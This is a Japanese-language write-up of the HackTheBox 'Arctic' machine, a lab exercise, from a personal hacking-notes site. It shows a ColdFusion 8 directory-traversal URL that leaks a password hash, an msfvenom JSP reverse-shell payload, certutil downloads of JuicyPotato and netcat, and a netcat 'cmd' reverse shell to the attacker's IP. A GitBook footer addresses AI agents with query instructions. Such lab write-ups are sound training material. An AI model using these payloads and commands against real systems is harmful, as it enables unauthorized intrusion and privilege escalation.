> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/artic-hackthebox-writeup.md).
# Artic HackTheBox攻略記事
Adobe ColdFusion 8の悪用、ディレクトリトラバーサル脆弱性、ハッシュクラック、スケジュールタスクの悪用 - 悪意あるJSPファイルの作成を扱うArtic HackTheBox Easy Windowsマシンの攻略記事。実
{% hint style="warning" %}
**スキル:**
* Adobe ColdFusion 8 のエクスプロイト
* ディレクトリトラバーサル脆弱性
* ハッシュのクラック
* スケジュールタスクの悪用 - 悪意のある JSP ファイルの作成
* SeImpersonate 特権の悪用（権限昇格）
{% endhint %}
## 偵察
**作業環境の設定:**
重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。
**VPN 接続確認**
VPN の接続性を確認して、対象マシンとの安定した通信を確保します。
**Nmap による開いているポートの検出:**
開いているポートを列挙し、結果を Nmap ディレクトリ内の「allPorts」ファイルに出力します:
```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.11 -oG allPorts
```
**extractPorts による開いているポートの分析:**
extractPorts 関数を使用して、オープンポートを簡潔な形式で表示し、クリップボードにコピーします。
**Nmapによるポートバージョンスキャン：**
Nmap を使ってサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存します:
```bash
nmap -sCV -p135,8500,49154 10.10.10.11 -oN targeted
```
## Adobe ColdFusion 8 のエクスプロイト（ポート 8500）
ポート 8500 でアクセス可能な管理サービスがあり、Adobe ColdFusion に接続するにはユーザー名とパスワードが必要であることがわかります。
関連する脆弱性を `searchsploit`で調べると、ディレクトリトラバーサル脆弱性用の動作するスクリプトが見つかります。
`searchsploit -x multiple/remote/14641.py`
このスクリプトは、passwordlist にアクセスするための LFI 脆弱性を示しています:
`http://10.10.10.11:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en`
このファイルにはパスワードとして次の値が含まれています:
`password=2F635F6D20E3FDE0C53075A84B68FB07DCEC9B03`
### パスワードの解読
{% embed url="" %}
CrackStation を使ってこのハッシュを解読すると、パスワードは `happyday`です。これで正常に接続できるようになりました。
### 悪意のあるスケジュールタスクの作成
スケジュールタスクのセクションで、悪意のあるファイルを `C:/ColdFusion8/wwwroot/CFIDE` ディレクトリに保存する新しいタスクを作成します。ここには読み書き権限があります。
**JSP ファイルの作成:** サーバーが JSP ファイルを解釈できるため、次のコマンドで JSP シェルを生成します。 `msfvenom`:
```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f raw > shell.jsp
```
**新しいタスクを追加:** この悪意のあるファイルを実行するようにスケジュールタスクを設定します。
/*/* ファイル転送用 HTTP サーバー:/*/* JSP ファイルを転送するために、マシン上で HTTP サーバーを起動します:
```bash
python3 -m http.server 80
```
**待ち受けと実行の設定:** シェルのリバース接続を受け取るためにポート 443 で待ち受け、その後 `/CFIDE/`:
```bash
rlwrap nc -nvlp 443
```
### フラグ user.txt :)
## 権限昇格
### SeImpersonatePrivilege の悪用:
ユーザーが `SeImpersonatePrivilege` 特権を持っていることがわかり、特定の権限昇格手法に対して脆弱です。以下のコマンドでこの特権の存在を確認できます:
```bash
whoami /priv
```
この脆弱性を悪用するために、 **JuicyPotato**を使用します。これは Windows 環境でこの特権を悪用するために広く知られているツールです。
**必要なツールをダウンロード**
{% embed url="" %}
{% embed url="" %}
**HTTP サーバーの起動** して、ファイルを配信します:
```bash
python3 -m http.server 8080
```
**ターゲットマシンへファイルを転送** を使用して `certutil`:
```powershell
certutil.exe -f -urlcache -split http://10.10.14.10:8080/JP.exe
certutil.exe -f -urlcache -split http://10.10.14.10:8080/nc64.exe
```
**権限昇格のための JuicyPotato の実行**
次に JuicyPotato を実行して、特権セッションを取得します。以下のコマンドで JuicyPotato を起動し、 `cmd.exe` を高権限で実行して、Netcat 経由で攻撃用マシンへの接続を開始します:
```powershell
./JP.exe -t * -l 1337 -p C:/Windows/System32/cmd.exe -a "/c C:/Windows/Temp/privesc/nc.exe -e cmd 10.10.14.10 1234"
```
**高権限セッションにログイン**
接続を受け取るために、ポート 1234 で待ち受けます:
```bash
rlwrap nc -nvlp 1234
```
### rootフラグ :)
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/artic-hackthebox-writeup.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
